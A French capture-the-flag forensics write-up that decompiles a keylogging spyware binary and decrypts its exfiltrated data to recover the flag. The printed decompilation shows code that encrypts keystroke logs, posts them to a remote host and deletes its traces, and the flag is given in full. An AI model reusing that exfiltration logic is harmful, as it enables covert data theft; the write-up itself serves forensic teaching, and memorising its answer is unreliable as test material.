Toortik Triflexation [2/2]

Catégorie: Analyse forensique - Difficulté: Extrême

Description:

Solution:

La suite de ce challenge nous donne une capture réseau en plus du dump de l'étape précédente.

Pour cela, revenons sur nos pas et essayons de reverse le spyware lancé sur la machine. Une fois le binaire extrait du dump mémoire, nous allons l'envoyer sur DogBolt pour voir rapidement ce qu'il fait :

Ghidra reverse code
#include "out.h"

int _init(EVP_PKEY_CTX *ctx)
{
  int iVar1;
  
  iVar1 = __gmon_start__();
  return iVar1;
}

void FUN_00101020(void)
{
  (*(code *)(undefined *)0x0)();
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
long ftell(FILE *__stream)
{
  long lVar1;
  
  lVar1 = ftell(__stream);
  return lVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx,uchar *out,int *outl,uchar *in,int inl)
{
  int iVar1;
  
  iVar1 = EVP_EncryptUpdate(ctx,out,outl,in,inl);
  return iVar1;
}

void curl_global_init(void)
{
  curl_global_init();
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int rand(void)
{
  int iVar1;
  
  iVar1 = rand();
  return iVar1;
}

void curl_global_cleanup(void)
{
  curl_global_cleanup();
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx,EVP_CIPHER *cipher,ENGINE *impl,uchar *key,uchar *iv)
{
  int iVar1;
  
  iVar1 = EVP_EncryptInit_ex(ctx,cipher,impl,key,iv);
  return iVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
EVP_CIPHER * EVP_aes_256_cbc(void)
{
  EVP_CIPHER *pEVar1;
  
  pEVar1 = EVP_aes_256_cbc();
  return pEVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
EVP_CIPHER_CTX * EVP_CIPHER_CTX_new(void)
{
  EVP_CIPHER_CTX *pEVar1;
  
  pEVar1 = EVP_CIPHER_CTX_new();
  return pEVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
void perror(char *__s)
{
  perror(__s);
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
time_t time(time_t *__timer)
{
  time_t tVar1;
  
  tVar1 = time(__timer);
  return tVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int fclose(FILE *__stream)
{
  int iVar1;
  
  iVar1 = fclose(__stream);
  return iVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *a)
{
  EVP_CIPHER_CTX_free(a);
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int fseek(FILE *__stream,long __off,int __whence)
{
  int iVar1;
  
  iVar1 = fseek(__stream,__off,__whence);
  return iVar1;
}

void __stack_chk_fail(void)
{
                    // WARNING: Subroutine does not return
  __stack_chk_fail();
}

void curl_easy_setopt(void)
{
  curl_easy_setopt();
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
FILE * fopen(char *__filename,char *__modes)
{
  FILE *pFVar1;
  
  pFVar1 = fopen(__filename,__modes);
  return pFVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
void free(void *__ptr)
{
  free(__ptr);
  return;
}

void curl_easy_cleanup(void)
{
  curl_easy_cleanup();
  return;
}

void curl_easy_init(void)
{
  curl_easy_init();
  return;
}

void curl_easy_perform(void)
{
  curl_easy_perform();
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
void * malloc(size_t __size)
{
  void *pvVar1;
  
  pvVar1 = malloc(__size);
  return pvVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int fprintf(FILE *__stream,char *__format,...)
{
  int iVar1;
  
  iVar1 = fprintf(__stream,__format);
  return iVar1;
}

void curl_easy_strerror(void)
{
  curl_easy_strerror();
  return;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
size_t fread(void *__ptr,size_t __size,size_t __n,FILE *__stream)
{
  size_t sVar1;
  
  sVar1 = fread(__ptr,__size,__n,__stream);
  return sVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int setenv(char *__name,char *__value,int __replace)
{
  int iVar1;
  
  iVar1 = setenv(__name,__value,__replace);
  return iVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx,uchar *out,int *outl)
{
  int iVar1;
  
  iVar1 = EVP_EncryptFinal_ex(ctx,out,outl);
  return iVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int snprintf(char *__s,size_t __maxlen,char *__format,...)
{
  int iVar1;
  
  iVar1 = snprintf(__s,__maxlen,__format);
  return iVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
int remove(char *__filename)
{
  int iVar1;
  
  iVar1 = remove(__filename);
  return iVar1;
}

// WARNING: Unknown calling convention -- yet parameter storage is locked
size_t fwrite(void *__ptr,size_t __size,size_t __n,FILE *__s)
{
  size_t sVar1;
  
  sVar1 = fwrite(__ptr,__size,__n,__s);
  return sVar1;
}

void processEntry _start(undefined8 param_1,undefined8 param_2)
{
  undefined1 auStack_8 [8];
  
  __libc_start_main(main,param_2,&stack0x00000008,0,0,param_1,auStack_8);
  do {
                    // WARNING: Do nothing block with infinite loop
  } while( true );
}

// WARNING: Removing unreachable block (ram,0x00101243)
// WARNING: Removing unreachable block (ram,0x0010124f)
void FUN_00101230(void)
{
  return;
}

// WARNING: Removing unreachable block (ram,0x00101284)
// WARNING: Removing unreachable block (ram,0x00101290)
void FUN_00101260(void)
{
  return;
}

void _FINI_0(void)
{
  if (DAT_00104108 != '\0') {
    return;
  }
  __cxa_finalize(__dso_handle);
  FUN_00101230();
  DAT_00104108 = 1;
  return;
}

void _INIT_0(void)
{
  FUN_00101260();
  return;
}

void _curl_easy_setopt_err_long(void)
{
  return;
}

void _curl_easy_setopt_err_curl_off_t(void)
{
  return;
}

void _curl_easy_setopt_err_string(void)
{
  return;
}

void _curl_easy_setopt_err_write_callback(void)
{
  return;
}

void _curl_easy_setopt_err_resolver_start_callback(void)
{
  return;
}

void _curl_easy_setopt_err_read_cb(void)
{
  return;
}

void _curl_easy_setopt_err_ioctl_cb(void)
{
  return;
}

void _curl_easy_setopt_err_sockopt_cb(void)
{
  return;
}

void _curl_easy_setopt_err_opensocket_cb(void)
{
  return;
}

void _curl_easy_setopt_err_progress_cb(void)
{
  return;
}

void _curl_easy_setopt_err_debug_cb(void)
{
  return;
}

void _curl_easy_setopt_err_ssl_ctx_cb(void)
{
  return;
}

void _curl_easy_setopt_err_conv_cb(void)
{
  return;
}

void _curl_easy_setopt_err_seek_cb(void)
{
  return;
}

void _curl_easy_setopt_err_cb_data(void)
{
  return;
}

void _curl_easy_setopt_err_error_buffer(void)
{
  return;
}

void _curl_easy_setopt_err_FILE(void)
{
  return;
}

void _curl_easy_setopt_err_postfields(void)
{
  return;
}

void _curl_easy_setopt_err_curl_httpost(void)
{
  return;
}

void _curl_easy_setopt_err_curl_mimepost(void)
{
  return;
}

void _curl_easy_setopt_err_curl_slist(void)
{
  return;
}

void _curl_easy_setopt_err_CURLSH(void)
{
  return;
}

void _curl_easy_getinfo_err_string(void)
{
  return;
}

void _curl_easy_getinfo_err_long(void)
{
  return;
}

void _curl_easy_getinfo_err_double(void)
{
  return;
}

void _curl_easy_getinfo_err_curl_slist(void)
{
  return;
}

void _curl_easy_getinfo_err_curl_tlssesssioninfo(void)
{
  return;
}

void _curl_easy_getinfo_err_curl_certinfo(void)
{
  return;
}

void _curl_easy_getinfo_err_curl_socket(void)
{
  return;
}

void _curl_easy_getinfo_err_curl_off_t(void)
{
  return;
}

void generate_random_filename(char *param_1,size_t param_2,undefined8 param_3)
{
  int iVar1;
  time_t tVar2;
  
  tVar2 = time((time_t *)0x0);
  iVar1 = rand();
  snprintf(param_1,param_2,"%s%ld",param_3,tVar2 + iVar1 % 10000);
  return;
}

void encrypt_file(char *param_1,char *param_2,uchar *param_3,uchar *param_4)
{
  int iVar1;
  EVP_CIPHER *cipher;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_848;
  int local_844;
  FILE *local_840;
  FILE *local_838;
  EVP_CIPHER_CTX *local_830;
  uchar local_828 [1024];
  uchar local_428 [1048];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_840 = fopen(param_1,"rb");
  local_838 = fopen(param_2,"wb");
  local_830 = EVP_CIPHER_CTX_new();
  cipher = EVP_aes_256_cbc();
  iVar1 = EVP_EncryptInit_ex(local_830,cipher,(ENGINE *)0x0,param_3,param_4);
  if (iVar1 != 1) {
    perror("EVP_EncryptInit_ex failed");
  }
  while( true ) {
    sVar2 = fread(local_828,1,0x400,local_840);
    local_844 = (int)sVar2;
    if (local_844 < 1) break;
    iVar1 = EVP_EncryptUpdate(local_830,local_428,&local_848,local_828,local_844);
    if (iVar1 != 1) {
      perror("EVP_EncryptUpdate failed");
    }
    fwrite(local_428,1,(long)local_848,local_838);
  }
  iVar1 = EVP_EncryptFinal_ex(local_830,local_428,&local_848);
  if (iVar1 != 1) {
    perror("EVP_EncryptFinal_ex failed");
  }
  fwrite(local_428,1,(long)local_848,local_838);
  EVP_CIPHER_CTX_free(local_830);
  fclose(local_840);
  fclose(local_838);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

void send_https_request(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{
  int iVar1;
  long lVar2;
  undefined8 uVar3;
  
  curl_global_init(3);
  lVar2 = curl_easy_init();
  if (lVar2 != 0) {
    curl_easy_setopt(lVar2,0x2712,param_3);
    curl_easy_setopt(lVar2,0x271f,param_1);
    curl_easy_setopt(lVar2,0x3c,param_2);
    curl_easy_setopt(lVar2,0x40,1);
    curl_easy_setopt(lVar2,0x2751,"/snap/firefox/.config/.parameters");
    curl_easy_setopt(lVar2,0x2771,"/snap/firefox/.config/.parameters");
    iVar1 = curl_easy_perform(lVar2);
    if (iVar1 != 0) {
      uVar3 = curl_easy_strerror(iVar1);
      fprintf(stderr,"curl_easy_perform() failed: %s\n",uVar3);
    }
    curl_easy_cleanup(lVar2);
  }
  curl_global_cleanup();
  return;
}

void * read_file(char *param_1,size_t *param_2)
{
  FILE *__stream;
  void *__ptr;
  size_t sVar1;
  
  __stream = fopen(param_1,"rb");
  if (__stream == (FILE *)0x0) {
    __ptr = (void *)0x0;
  }
  else {
    fseek(__stream,0,2);
    sVar1 = ftell(__stream);
    *param_2 = sVar1;
    fseek(__stream,0,0);
    __ptr = malloc(*param_2);
    if (__ptr != (void *)0x0) {
      fread(__ptr,1,*param_2,__stream);
    }
    fclose(__stream);
  }
  return __ptr;
}

undefined8 main(void)
{
  long in_FS_OFFSET;
  undefined8 local_260;
  char *local_258;
  void *local_250;
  undefined8 local_248;
  undefined8 local_240;
  undefined8 local_238;
  undefined8 local_230;
  undefined8 local_228;
  undefined8 local_220;
  char local_218 [256];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_258 = "/snap/firefox/.config/logs";
  local_238 = 0x8e2d7a4c1e9b3f6a;
  local_230 = 0x6c8a4e1d7b3a0c5f;
  local_228 = 0x8f5e1a7c3d4f9e2b;
  local_220 = 0x1e7b3f4e9a2c6d0b;
  local_248 = 0x8b7a6f5e4d3c2b1a;
  local_240 = 0xffcebdacfbead9c;
  generate_random_filename(local_218,0x100,"/tmp/");
  generate_random_filename(local_118,0x100,"/tmp/");
  setenv("SSLKEYLOGFILE",local_218,1);
  encrypt_file(local_258,local_118,&local_238,&local_248);
  local_250 = (void *)read_file(local_118,&local_260);
  send_https_request(local_250,local_260,"https://10.0.2.4:8080");
  free(local_250);
  remove(local_258);
  remove(local_218);
  remove(local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return 0;
}

void _fini(void)
{
  return;
}

Nous voyons rapidement qu'il chiffre les données avant l'envoi des données vers sont serveur distant. Nous allons donc devoir comprendre comment elles ont été chiffrées dans un premier temps, puis retrouver ces données (chiffrées) et enfin les déchiffrer (ouais y a de la réflexion là :p).

Dans le binaire de tout à l'heure, il était évoqué un fichier SSLKEYLOGFILE, qui contient très probablement les clés pour déchiffrer le flux SSL/TLS de la trame Wireshark.

Mais en même temps, le binaire est bien fait car il efface ce fichier à la fin de son exécution :

Nous allons donc devoir procéder autrement, et tout comme dans la première partie du challenge, nous allons utiliser les strings du dump, car elles contiendront très certainement ces données. En regardant sur internet et sur d'anciens WU nous voyons que le fichier SSLKEY contient toujours un SERVER_HANDSHAKE_TRAFFIC_SECRET, nous allons donc chercher ça dans les strings. Grâce à cela, nous trouvons tout le contenu que nous cherchions :

SERVER_HANDSHAKE_TRAFFIC_SECRET 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b a77af2eea2726ffd6fe63fe8662fa2233b12ca182c7ca0f641b86937ea821b1a7c2138eca63e2963c66ea559eb85cffe
EXPORTER_SECRET 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 0dd78f3e40cb00a51c8d33ecde17d52f181054a6274c3e59181ae024815932c89aeb4136c19c14c46c36e2786ee8577e
SERVER_TRAFFIC_SECRET_0 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 0efc9918b3e23872a7cb1458b8f19802d3e3ee3abe4c1a7dd7555a1a8929ec95d84cf67d604725f10b70aa7531e45436
CLIENT_HANDSHAKE_TRAFFIC_SECRET 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 021e1b83b338a2ff782de1e5c438a9050b70b86c13a0bbedc12a480dcde1e8f80e4347b1323aca0dd553acbc427265
CLIENT_TRAFFIC_SECRET_0 4e9152602145711b9af18fec5cd0e270386509b8e41e1b0e4a54206b6cd2b86b 8bd3531ac9764f9250a12f85c5220815a8f6a8510c046f8bc2ff022c92fdbdb778972697993e8e60d4bd58a2dfb85125

Nous essayons donc d'importer un fichier sslkeys.log dans les paramètres de Wireshark afin de déchiffrer le flux SSL. Mais malheureusement, ça ne fonctionne pas, bizarre cette histoire...

Arrivé à cette étape, je suis resté bloqué plusieurs jours, jusqu'à revenir sur une info donnée dans l'énoncé : "certaines informations soient tronquées dans la capture de la mémoire vive".

J'ai donc fait attention à ces fameuses valeurs que nous venons de trouver et là quelle surprise :

SERVER_HANDSHAKE_TRAFFIC_SECRET 4e[...]6b a7[...]fe --> 96 caractères
EXPORTER_SECRET 4e[...]6b 0d[...]7e --> 96 caractères
SERVER_TRAFFIC_SECRET_0 4e[...]6b 0e[...]36 --> 96 caractères
CLIENT_HANDSHAKE_TRAFFIC_SECRET 4e[...]6b 02[...]65 --> 94 caractères !!!
CLIENT_TRAFFIC_SECRET_0 4e[...]6b 8b[...]25 --> 96 caractères

Notre CLIENT_HANDSHAKE_TRAFFIC_SECRET est incomplet et il lui manque 2 caractères hexa... Je suis donc parti à la recherche de ces fameux 2 caractères manquants, et tester 162 possibilités a donc été la merveilleuse solution que j'ai trouvé et choisi...

Comble du hasard, c'est la valeur fb (l'une des toutes dernières) qui m'a permis d'avancer en déchiffrant le flux SSL/TLS :

Pour retrouver ces données, allons voir la capture réseau pour des données qui ont été envoyées (POST)

Nous avons donc retrouver ces données, et malheureusement, elles sont bien chiffrées 😂

cd0fa1ae97c509acf24caf2ba33f5b9d22c713623fd730f1b0f4c2e8b25b9a136575cc9d31d6e2c173f988bdec915c5870c5967f3adec8bed69e6c04daaf9f8430245b2a9bf444fc51aa76b4f56fcc10cd7b553b39166007f56cfb3121a25f9a90ae6ff8d88db65b7c3d603ccb2b783989533ecef4d2d3ae465d2336f67324e3bfe45408a10e24223f360fa4ad8aaa3db96e05173c237d2f1ab6f4377a66a1a98d356007420bc573a2030efddba9ddcd8b3d904bae7dff1886bdbd2911b86b99412c0b6c0739cc213beb33110351943cfd348c0dacf2719c30aee65282fc24d28c0871b82941e3bf48c0d6709b49cebca37031e6b7031685b5dca996b5b7ff6a24c7fadf8e12e6a0005d1c821f73105a03a0360c807e5854e46e93fe1191f3de1a022a0c27ebadb683647bdf1556eb2873f79c0e086cfc988684cfe0671164c88b7fdcd434d59b581f96e26e9c5857d63471f3c387ab3e1d55cff8cb07f503a57a97af772de30fbf0d93dbb6189fa796f0d5b30c3c614bb16fa611143d40ce8d2f6e05eb6b07ab2d5004fd4b9e95e020

Maintenant, nous allons créer un petit script Python qui reprends les éléments du binaire ainsi que les données chiffrées afin de le retrouver en clair :

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

cipher_hex = (
    "cd0fa1ae97c509acf24caf2ba33f5b9d22c713623fd730f1b0f4c2e8b25b9a13"
    "6575cc9d31d6e2c173f988bdec915c5870c5967f3adec8bed69e6c04daaf9f84"
    "30245b2a9bf444fc51aa76b4f56fcc10cd7b553b39166007f56cfb3121a25f9a"
    "90ae6ff8d88db65b7c3d603ccb2b783989533ecef4d2d3ae465d2336f67324e3"
    "bfe45408a10e24223f360fa4ad8aaa3db96e05173c237d2f1ab6f4377a66a1a9"
    "8d356007420bc573a2030efddba9ddcd8b3d904bae7dff1886bdbd2911b86b99"
    "412c0b6c0739cc213beb33110351943cfd348c0dacf2719c30aee65282fc24d2"
    "8c0871b82941e3bf48c0d6709b49cebca37031e6b7031685b5dca996b5b7ff6a"
    "24c7fadf8e12e6a0005d1c821f73105a03a0360c807e5854e46e93fe1191f3de"
    "1a022a0c27ebadb683647bdf1556eb2873f79c0e086cfc988684cfe0671164c8"
    "8b7fdcd434d59b581f96e26e9c5857d63471f3c387ab3e1d55cff8cb07f503a5"
    "7a97af772de30fbf0d93dbb6189fa796f0d5b30c3c614bb16fa611143d40ce8d"
    "2f6e05eb6b07ab2d5004fd4b9e95e020"
)

# Clé / IV
key_be = "8E2D7A4C1E9B3F6A6C8A4E1D7B3A0C5F8F5E1A7C3D4F9E2B1E7B3F4E9A2C6D0B"
iv_be  = "8B7A6F5E4D3C2B1A0FFCEBDACFBEAD9C"

# Petites fonctions d’inversion « mot par mot »
def swap_u64_chunks(hex_str):
    return b"".join(
        int(hex_str[i : i + 16], 16).to_bytes(8, "little")
        for i in range(0, len(hex_str), 16)
    )

key = swap_u64_chunks(key_be)
iv  = swap_u64_chunks(iv_be)

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(bytes.fromhex(cipher_hex)), AES.block_size)
print(plaintext.decode("utf-8", errors="replace"))

Quel miracle, nous avons toutes les valeurs du keylogger en clair. Il suffit simplement de faire un peu le ménage en enlevant les _CTRL_, _HAUT_, _MAJ_, _RETOUR_, _ALTGR_... Une fois le nettoyage fait, nous avons le flag en clair 🎉

🚩FLAG

404CTF{k3rn3lR00tk1t_b3tt3r_th@n_fir3f0x}

Last updated

Was this helpful?